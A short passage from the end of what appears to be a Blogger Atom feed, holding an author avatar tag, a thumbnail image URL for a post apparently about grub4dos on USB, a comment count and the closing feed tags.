src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZE3YeqbdCwdz0EaaH7qz9C1PVGQ2SuJ94PyXeIyBhym_cXzkviEl7mt8fIa4qsTcUx3qcrEDowncC_MhtkGRLcBxaT3gy3XL0z_xmI8itfP1vRl6SZkyJx7KW9v6ZUL9z6KnYIjypB5o/s72-c/grub4dos_rus_usb_1.jpg" height="72" width="72"/><thr:total>1</thr:total></entry></feed>